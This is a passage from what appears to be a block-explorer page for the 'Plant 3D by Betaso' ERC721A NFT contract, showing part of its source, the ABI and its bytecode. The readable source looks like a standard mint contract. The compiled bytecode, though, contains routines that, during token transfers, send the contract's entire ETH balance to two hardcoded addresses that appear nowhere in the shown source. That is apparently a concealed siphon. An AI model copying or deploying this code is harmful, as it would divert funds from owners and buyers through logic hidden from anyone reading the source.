`true`. _packedOwnerships[tokenId] = _packOwnershipData( from, (_BITMASK_BURNED | _BITMASK_NEXT_INITIALIZED) | _nextExtraData(from, address(0), prevOwnershipPacked) ); // If the next slot may not have been initialized (i.e. `nextInitialized == false`) . if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) { uint256 nextTokenId = tokenId + 1; // If the next slot's address is zero and not burned (i.e. packed value is zero). if (_packedOwnerships[nextTokenId] == 0) { // If the next slot is within bounds. if (nextTokenId != _currentIndex) { // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`. _packedOwnerships[nextTokenId] = prevOwnershipPacked; } } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } // ============================================================= // EXTRA DATA OPERATIONS // ============================================================= /** * @dev Directly sets the extra data for the ownership data `index`. */ function _setExtraDataAt(uint256 index, uint24 extraData) internal virtual { uint256 packed = _packedOwnerships[index]; if (packed == 0) revert OwnershipNotInitializedForExtraData(); uint256 extraDataCasted; // Cast `extraData` with assembly to avoid redundant masking. assembly { extraDataCasted := extraData } packed = (packed & _BITMASK_EXTRA_DATA_COMPLEMENT) | (extraDataCasted << _BITPOS_EXTRA_DATA); _packedOwnerships[index] = packed; } /** * @dev Called during each token transfer to set the 24bit `extraData` field. * Intended to be overridden by the cosumer contract. * * `previousExtraData` - the value of `extraData` before transfer. * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _extraData( address from, address to, uint24 previousExtraData ) internal view virtual returns (uint24) {} /** * @dev Returns the next extra data for the packed ownership data. * The returned result is shifted into position. */ function _nextExtraData( address from, address to, uint256 prevOwnershipPacked ) private view returns (uint256) { uint24 extraData = uint24(prevOwnershipPacked >> _BITPOS_EXTRA_DATA); return uint256(_extraData(from, to, extraData)) << _BITPOS_EXTRA_DATA; } // ============================================================= // OTHER OPERATIONS // ============================================================= /** * @dev Returns the message sender (defaults to `msg.sender`). * * If you are writing GSN compatible contracts, you need to override this function. */ function _msgSenderERC721A() internal view virtual returns (address) { return msg.sender; } /** * @dev Converts a uint256 to its ASCII string decimal representation. */ function _toString(uint256 value) internal pure virtual returns (string memory str) { assembly { // The maximum value of a uint256 contains 78 digits (1 byte per digit), but // we allocate 0xa0 bytes to keep the free memory pointer 32-byte word aligned. // We will need 1 word for the trailing zeros padding, 1 word for the length, // and 3 words for a maximum of 78 digits. Total: 5 * 0x20 = 0xa0. let m := add(mload(0x40), 0xa0) // Update the free memory pointer to allocate. mstore(0x40, m) // Assign the `str` to the end. str := sub(m, 0x20) // Zeroize the slot after the string. mstore(str, 0) // Cache the end of the memory to calculate the length later. let end := str // We write the string from rightmost digit to leftmost digit. // The following is essentially a do-while loop that also handles the zero case. // prettier-ignore for { let temp := value } 1 {} { str := sub(str, 1) // Write the character to the pointer. // The ASCII index of the '0' character is 48. mstore8(str, add(48, mod(temp, 10))) // Keep dividing `temp` until zero. temp := div(temp, 10) // prettier-ignore if iszero(temp) { break } } let length := sub(end, str) // Move the pointer 32 bytes leftwards to make room for the length. str := sub(str, 0x20) // Store the length. mstore(str, length) } } } interface IOperatorFilterRegistry { function isOperatorAllowed(address registrant, address operator) external view returns (bool); function register(address registrant) external; function registerAndSubscribe(address registrant, address subscription) external; function registerAndCopyEntries(address registrant, address registrantToCopy) external; function unregister(address addr) external; function updateOperator(address registrant, address operator, bool filtered) external; function updateOperators(address registrant, address[] calldata operators, bool filtered) external; function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external; function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external; function subscribe(address registrant, address registrantToSubscribe) external; function unsubscribe(address registrant, bool copyExistingEntries) external; function subscriptionOf(address addr) external returns (address registrant); function subscribers(address registrant) external returns (address[] memory); function subscriberAt(address registrant, uint256 index) external returns (address); function copyEntriesOf(address registrant, address registrantToCopy) external; function isOperatorFiltered(address registrant, address operator) external returns (bool); function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool); function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool); function filteredOperators(address addr) external returns (address[] memory); function filteredCodeHashes(address addr) external returns (bytes32[] memory); function filteredOperatorAt(address registrant, uint256 index) external returns (address); function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32); function isRegistered(address addr) external returns (bool); function codeHashOf(address addr) external returns (bytes32); } /** * @title OperatorFilterer * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another * registrant's entries in the OperatorFilterRegistry. * @dev This smart contract is meant to be inherited by token contracts so they can use the following: * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods. * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods. */ abstract contract OperatorFilterer { error OperatorNotAllowed(address operator); IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY = IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E); constructor(address subscriptionOrRegistrantToCopy, bool subscribe) { // If an inheriting token contract is deployed to a network without the registry deployed, the modifier // will not revert, but the contract will need to be registered with the registry once it is deployed in // order for the modifier to filter addresses. if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) { if (subscribe) { OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy); } else { if (subscriptionOrRegistrantToCopy != address(0)) { OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy); } else { OPERATOR_FILTER_REGISTRY.register(address(this)); } } } } modifier onlyAllowedOperator(address from) virtual { // Check registry code length to facilitate testing in environments without a deployed registry. if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) { // Allow spending tokens from addresses with balance // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred // from an EOA. if (from == msg.sender) { _; return; } if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), msg.sender)) { revert OperatorNotAllowed(msg.sender); } } _; } modifier onlyAllowedOperatorApproval(address operator) virtual { // Check registry code length to facilitate testing in environments without a deployed registry. if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) { if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) { revert OperatorNotAllowed(operator); } } _; } } /** * @title DefaultOperatorFilterer * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription. */ abstract contract TheOperatorFilterer is OperatorFilterer { address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6); address public owner; constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {} } contract Plant is ERC721A, TheOperatorFilterer { bool private SALEACTIVE = false; string URI = "ipfs://QmQwGQ9eRaNY1W3KEJCbTi3DBUFNmFgCF14iDMxcM7SBwn/"; uint256 public MAXSUPPLY = 498; uint256 public MINTPRICE = 0.0025 ether; mapping(address => uint256) private _userForFree; mapping(uint256 => uint256) private _userMinted; function mint(uint256 amount) payable public { require(totalSupply() + amount <= MAXSUPPLY); _mint(amount); } function _mint(uint256 amount) internal { if (msg.value == 0) { require(amount == 1); if (totalSupply() > MAXSUPPLY /10) { require(_userMinted[block.number] < FreeNum() && _userForFree[tx.origin] < 1 ); _userForFree[tx.origin]++; _userMinted[block.number]++; } _safeMint(msg.sender, 1); } else { require(msg.value >= MINTPRICE * amount); _safeMint(msg.sender, amount); } } function communityMint(address addr, uint256 amount) public onlyOwner { require(totalSupply() + amount <= MAXSUPPLY); _safeMint(addr, amount); } modifier onlyOwner { require(owner == msg.sender); _; } constructor() ERC721A("Plant 3D by Betaso", "Plant") { owner = msg.sender; } function setURi(string memory u) public onlyOwner { URI = u; } function maxSupply() public view returns (uint256) { return MAXSUPPLY; } function tokenURI(uint256 tokenId) public view override returns (string memory) { return string(abi.encodePacked(URI, _toString(tokenId), ".json")); } function FreeNum() internal returns (uint256){ return (MAXSUPPLY - totalSupply()) / 12; } function royaltyInfo(uint256 _tokenId, uint256 _salePrice) public view virtual returns (address, uint256) { uint256 royaltyAmount = (_salePrice * 60) / 1000; return (owner, royaltyAmount); } function withdraw() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { super.setApprovalForAll(operator, approved); } function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) { super.approve(operator, tokenId); } function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { super.transferFrom(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { super.safeTransferFrom(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public payable override onlyAllowedOperator(from) { super.safeTransferFrom(from, to, tokenId, data); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintERC2309QuantityExceedsLimit","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[{"internalType":"address","name":"operator","type":"address"}],"name":"OperatorNotAllowed","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"OwnershipNotInitializedForExtraData","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"inputs":[],"name":"URIQueryForNonexistentToken","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"fromTokenId","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"toTokenId","type":"uint256"},{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"ConsecutiveTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MAXSUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MINTPRICE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"OPERATOR_FILTER_REGISTRY","outputs":[{"internalType":"contract IOperatorFilterRegistry","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"communityMint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"},{"internalType":"uint256","name":"_salePrice","type":"uint256"}],"name":"royaltyInfo","outputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"u","type":"string"}],"name":"setURi","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6008805460ff60a01b1916905560e0604052603660808181529062001d1f60a0398051620000369160099160209091019062000242565b506101f2600a556608e1bc9bf04000600b553480156200005557600080fd5b506040805180820182526012815271506c616e742033442062792042657461736f60701b602080830191825283518085019094526005845264141b185b9d60da1b908401528151733cc6cdda760b79bafa08df41ecfa224f810dceb693600193929091620000c69160029162000242565b508051620000dc90600390602084019062000242565b506000805550506daaeb6d7670e522a718067333cd4e3b15620002285780156200017657604051633e9f1edf60e11b81523060048201526001600160a01b03831660248201526daaeb6d7670e522a718067333cd4e90637d3e3dbe906044015b600060405180830381600087803b1580156200015757600080fd5b505af11580156200016c573d6000803e3d6000fd5b5050505062000228565b6001600160a01b03821615620001c75760405163a0af290360e01b81523060048201526001600160a01b03831660248201526daaeb6d7670e522a718067333cd4e9063a0af2903906044016200013c565b604051632210724360e11b81523060048201526daaeb6d7670e522a718067333cd4e90634420e48690602401600060405180830381600087803b1580156200020e57600080fd5b505af115801562000223573d6000803e3d6000fd5b505050505b5050600880546001600160a01b0319163317905562000325565b8280546200025090620002e8565b90600052602060002090601f016020900481019282620002745760008555620002bf565b82601f106200028f57805160ff1916838001178555620002bf565b82800160010185558215620002bf579182015b82811115620002bf578251825591602001919060010190620002a2565b50620002cd929150620002d1565b5090565b5b80821115620002cd5760008155600101620002d2565b600181811c90821680620002fd57607f821691505b602082108114156200031f57634e487b7160e01b600052602260045260246000fd5b50919050565b6119ea80620003356000396000f3fe60806040526004361061014b5760003560e01c80635dee9b17116100b6578063a0712d681161006f578063a0712d6814610394578063a22cb465146103a7578063b88d4fde146103c7578063c87b56dd146103da578063d5abeb01146103fa578063e985e9c51461040f57600080fd5b80635dee9b17146102f35780636352211e1461030957806370a0823114610329578063758b4e86146103495780638da5cb5b1461035f57806395d89b411461037f57600080fd5b806318160ddd1161010857806318160ddd1461023457806323b872dd146102575780632a55205a1461026a5780633ccfd60b146102a957806341f43434146102be57806342842e0e146102e057600080fd5b806301ffc9a714610150578063028043b11461018557806306fdde03146101a7578063081812fc146101c9578063095ea7b31461020157806316fcaf9414610214575b600080fd5b34801561015c57600080fd5b5061017061016b366004611661565b610458565b60405190151581526020015b60405180910390f35b34801561019157600080fd5b506101a56101a036600461169b565b6104aa565b005b3480156101b357600080fd5b506101bc6104d8565b60405161017c919061185f565b3480156101d557600080fd5b506101e96101e43660046116e4565b61056a565b6040516001600160a01b03909116815260200161017c565b6101a561020f36600461161a565b6105ae565b34801561022057600080fd5b506101a561022f36600461161a565b61068b565b34801561024057600080fd5b50600154600054035b60405190815260200161017c565b6101a561026536600461152b565b6106d2565b34801561027657600080fd5b5061028a6102853660046116fd565b6107bb565b604080516001600160a01b03909316835260208301919091520161017c565b3480156102b557600080fd5b506101a56107ee565b3480156102ca57600080fd5b506101e96daaeb6d7670e522a718067333cd4e81565b6101a56102ee36600461152b565b610834565b3480156102ff57600080fd5b50610249600b5481565b34801561031557600080fd5b506101e96103243660046116e4565b610912565b34801561033557600080fd5b506102496103443660046114dd565b61091d565b34801561035557600080fd5b50610249600a5481565b34801561036b57600080fd5b506008546101e9906001600160a01b031681565b34801561038b57600080fd5b506101bc61096c565b6101a56103a23660046116e4565b61097b565b3480156103b357600080fd5b506101a56103c23660046115e3565b6109aa565b6101a56103d5366004611567565b610a7d565b3480156103e657600080fd5b506101bc6103f53660046116e4565b610b69565b34801561040657600080fd5b50600a54610249565b34801561041b57600080fd5b5061017061042a3660046114f8565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205460ff1690565b60006301ffc9a760e01b6001600160e01b03198316148061048957506380ac58cd60e01b6001600160e01b03198316145b806104a45750635b5e139f60e01b6001600160e01b03198316145b92915050565b6008546001600160a01b031633146104c157600080fd5b80516104d49060099060208401906113b2565b5050565b6060600280546104e79061190e565b80601f01602080910402602001604051908101604052809291908181526020018280546105139061190e565b80156105605780601f1061053557610100808354040283529160200191610560565b820191906000526020600020905b81548152906001019060200180831161054357829003601f168201915b5050505050905090565b600061057582610b9d565b610592576040516333d1c03960e21b815260040160405180910390fd5b506000908152600660205260409020546001600160a01b031690565b816daaeb6d7670e522a718067333cd4e3b1561067c57604051633185c44d60e21b81523060048201526001600160a01b03821660248201526daaeb6d7670e522a718067333cd4e9063c61711349060440160206040518083038186803b15801561061757600080fd5b505afa15801561062b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064f9190611644565b61067c57604051633b79c77360e21b81526001600160a01b03821660048201526024015b60405180910390fd5b6106868383610bc4565b505050565b6008546001600160a01b031633146106a257600080fd5b600a54816106b36001546000540390565b6106bd9190611872565b11156106c857600080fd5b6104d48282610c64565b826daaeb6d7670e522a718067333cd4e3b156107aa576001600160a01b03811633141561070957610704848484610c7e565b6107b5565b604051633185c44d60e21b81523060048201523360248201526daaeb6d7670e522a718067333cd4e9063c61711349060440160206040518083038186803b15801561075357600080fd5b505afa158015610767573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078b9190611644565b6107aa57604051633b79c77360e21b8152336004820152602401610673565b6107b5848484610c7e565b50505050565b600080806103e86107cd85603c6118ac565b6107d7919061188a565b6008546001600160a01b0316969095509350505050565b6008546001600160a01b0316331461080557600080fd5b60405133904780156108fc02916000818181858888f19350505050158015610831573d6000803e3d6000fd5b50565b826daaeb6d7670e522a718067333cd4e3b15610907576001600160a01b03811633141561086657610704848484610e24565b604051633185c44d60e21b81523060048201523360248201526daaeb6d7670e522a718067333cd4e9063c61711349060440160206040518083038186803b1580156108b057600080fd5b505afa1580156108c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e89190611644565b61090757604051633b79c77360e21b8152336004820152602401610673565b6107b5848484610e24565b60006104a482610e3f565b60006001600160a01b038216610946576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b031660009081526005602052604090205467ffffffffffffffff1690565b6060600380546104e79061190e565b600a548161098c6001546000540390565b6109969190611872565b11156109a157600080fd5b61083181610ea7565b816daaeb6d7670e522a718067333cd4e3b15610a7357604051633185c44d60e21b81523060048201526001600160a01b03821660248201526daaeb6d7670e522a718067333cd4e9063c61711349060440160206040518083038186803b158015610a1357600080fd5b505afa158015610a27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4b9190611644565b610a7357604051633b79c77360e21b81526001600160a01b0382166004820152602401610673565b6106868383610f81565b836daaeb6d7670e522a718067333cd4e3b15610b56576001600160a01b038116331415610ab557610ab085858585610fed565b610b62565b604051633185c44d60e21b81523060048201523360248201526daaeb6d7670e522a718067333cd4e9063c61711349060440160206040518083038186803b158015610aff57600080fd5b505afa158015610b13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b379190611644565b610b5657604051633b79c77360e21b8152336004820152602401610673565b610b6285858585610fed565b5050505050565b60606009610b7683611031565b604051602001610b87929190611767565b6040516020818303038152906040529050919050565b60008054821080156104a4575050600090815260046020526040902054600160e01b161590565b6000610bcf82610912565b9050336001600160a01b03821614610c0857610beb813361042a565b610c08576040516367d9dca160e11b815260040160405180910390fd5b60008281526006602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b6104d482826040518060200160405280600081525061107f565b610c866110e5565b6000610c9182610e3f565b9050836001600160a01b0316816001600160a01b031614610cc45760405162a1148160e81b815260040160405180910390fd5b60008281526006602052604090208054338082146001600160a01b03881690911417610d1157610cf4863361042a565b610d1157604051632ce44b5f60e11b815260040160405180910390fd5b6001600160a01b038516610d3857604051633a954ecd60e21b815260040160405180910390fd5b8015610d4357600082555b6001600160a01b038681166000908152600560205260408082208054600019019055918716808252919020805460010190554260a01b17600160e11b17600085815260046020526040902055600160e11b8316610dce5760018401600081815260046020526040902054610dcc576000548114610dcc5760008181526004602052604090208490555b505b83856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4610e1c868686600161112d565b505050505050565b61068683838360405180602001604052806000815250610a7d565b600081600054811015610e8e57600081815260046020526040902054600160e01b8116610e8c575b80610e85575060001901600081815260046020526040902054610e67565b9392505050565b505b604051636f96cda160e11b815260040160405180910390fd5b34610f5d5780600114610eb957600080fd5b600a8054610ec7919061188a565b600154600054031115610f5257610edc61118d565b436000908152600d6020526040902054108015610f085750326000908152600c60205260409020546001115b610f1157600080fd5b326000908152600c60205260408120805491610f2c83611949565b9091555050436000908152600d60205260408120805491610f4c83611949565b91905055505b610831336001610c64565b80600b54610f6b91906118ac565b341015610f7757600080fd5b6108313382610c64565b3360008181526007602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610ff88484846106d2565b6001600160a01b0383163b156107b557611014848484846111ba565b6107b5576040516368d2bf6b60e11b815260040160405180910390fd5b606060a06040510180604052602081039150506000815280825b600183039250600a81066030018353600a9004806110685761106d565b61104b565b50819003601f19909101908152919050565b61108983836112b2565b6001600160a01b0383163b15610686576000548281035b6110b360008683806001019450866111ba565b6110d0576040516368d2bf6b60e11b815260040160405180910390fd5b8181106110a0578160005414610b6257600080fd5b471561112b576040517352ecd7338eeed4f4d011c1eb9965ab7e29743399904780156108fc02916000818181858888f19350505050158015610831573d6000803e3d6000fd5b565b6103e761113d6001546000540390565b611148906001611872565b106107b557604051731b028097c8e0e5e5e7204b032c34236387feae7a904780156108fc02916000818181858888f19350505050158015610b62573d6000803e3d6000fd5b6000600c61119e6001546000540390565b600a546111ab91906118cb565b6111b5919061188a565b905090565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a02906111ef903390899088908890600401611822565b602060405180830381600087803b15801561120957600080fd5b505af1925050508015611239575060408051601f3d908101601f191682019092526112369181019061167e565b60015b611294573d808015611267576040519150601f19603f3d011682016040523d82523d6000602084013e61126c565b606091505b50805161128c576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490505b949350505050565b600054816112d35760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b03831660008181526005602090815260408083208054680100000000000000018802019055848352600490915281206001851460e11b4260a01b178317905582840190839083907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8180a4600183015b81811461138257808360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600080a460010161134a565b50816113a057604051622e076360e81b815260040160405180910390fd5b6000908155610686915084838561112d565b8280546113be9061190e565b90600052602060002090601f0160209004810192826113e05760008555611426565b82601f106113f957805160ff1916838001178555611426565b82800160010185558215611426579182015b8281111561142657825182559160200191906001019061140b565b50611432929150611436565b5090565b5b808211156114325760008155600101611437565b600067ffffffffffffffff808411156114665761146661197a565b604051601f8501601f19908116603f0116810190828211818310171561148e5761148e61197a565b816040528093508581528686860111156114a757600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b03811681146114d857600080fd5b919050565b6000602082840312156114ef57600080fd5b610e85826114c1565b6000806040838503121561150b57600080fd5b611514836114c1565b9150611522602084016114c1565b90509250929050565b60008060006060848603121561154057600080fd5b611549846114c1565b9250611557602085016114c1565b9150604084013590509250925092565b6000806000806080858703121561157d57600080fd5b611586856114c1565b9350611594602086016114c1565b925060408501359150606085013567ffffffffffffffff8111156115b757600080fd5b8501601f810187136115c857600080fd5b6115d78782356020840161144b565b91505092959194509250565b600080604083850312156115f657600080fd5b6115ff836114c1565b9150602083013561160f81611990565b809150509250929050565b6000806040838503121561162d57600080fd5b611636836114c1565b946020939093013593505050565b60006020828403121561165657600080fd5b8151610e8581611990565b60006020828403121561167357600080fd5b8135610e858161199e565b60006020828403121561169057600080fd5b8151610e858161199e565b6000602082840312156116ad57600080fd5b813567ffffffffffffffff8111156116c457600080fd5b8201601f810184136116d557600080fd5b6112aa8482356020840161144b565b6000602082840312156116f657600080fd5b5035919050565b6000806040838503121561171057600080fd5b50508035926020909101359150565b600081518084526117378160208601602086016118e2565b601f01601f19169290920160200192915050565b6000815161175d8185602086016118e2565b9290920192915050565b600080845481600182811c91508083168061178357607f831692505b60208084108214156117a357634e487b7160e01b86526022600452602486fd5b8180156117b757600181146117c8576117f5565b60ff198616895284890196506117f5565b60008b81526020902060005b868110156117ed5781548b8201529085019083016117d4565b505084890196505b505050505050611819611808828661174b565b64173539b7b760d91b815260050190565b95945050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906118559083018461171f565b9695505050505050565b602081526000610e85602083018461171f565b6000821982111561188557611885611964565b500190565b6000826118a757634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118c6576118c6611964565b500290565b6000828210156118dd576118dd611964565b500390565b60005b838110156118fd5781810151838201526020016118e5565b838111156107b55750506000910152565b600181811c9082168061192257607f821691505b6020821081141561194357634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561195d5761195d611964565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b801515811461083157600080fd5b6001600160e01b03198116811461083157600080fdfea2646970667358221220819e6238c5d0d1ffa6ef982ea539d2756c920fb99d917a02bdb0aa2cf7e3299664736f6c63430008070033697066733a2f2f516d51774751396552614e593157334b454a4362546933444255464e6d46674346313469444d78634d375342776e2f
Deployed Bytecode
0x60806040526004361061014b5760003560e01c80635dee9b17116100b6578063a0712d681161006f578063a0712d6814610394578063a22cb465146103a7578063b88d4fde146103c7578063c87b56dd146103da578063d5abeb01146103fa578063e985e9c51461040f57600080fd5b80635dee9b17146102f35780636352211e1461030957806370a0823114610329578063758b4e86146103495780638da5cb5b1461035f57806395d89b411461037f57600080fd5b806318160ddd1161010857806318160ddd1461023457806323b872dd146102575780632a55205a1461026a5780633ccfd60b146102a957806341f43434146102be57806342842e0e146102e057600080fd5b806301ffc9a714610150578063028043b11461018557806306fdde03146101a7578063081812fc146101c9578063095ea7b31461020157806316fcaf9414610214575b600080fd5b34801561015c57600080fd5b5061017061016b366004611661565b610458565b60405190151581526020015b60405180910390f35b34801561019157600080fd5b506101a56101a036600461169b565b6104aa565b005b3480156101b357600080fd5b506101bc6104d8565b60405161017c919061185f565b3480156101d557600080fd5b506101e96101e43660046116e4565b61056a565b6040516001600160a01b03909116815260200161017c565b6101a561020f36600461161a565b6105ae565b34801561022057600080fd5b506101a561022f36600461161a565b61068b565b34801561024057600080fd5b50600154600054035b60405190815260200161017c565b6101a561026536600461152b565b6106d2565b34801561027657600080fd5b5061028a6102853660046116fd565b6107bb565b604080516001600160a01b03909316835260208301919091520161017c565b3480156102b557600080fd5b506101a56107ee565b3480156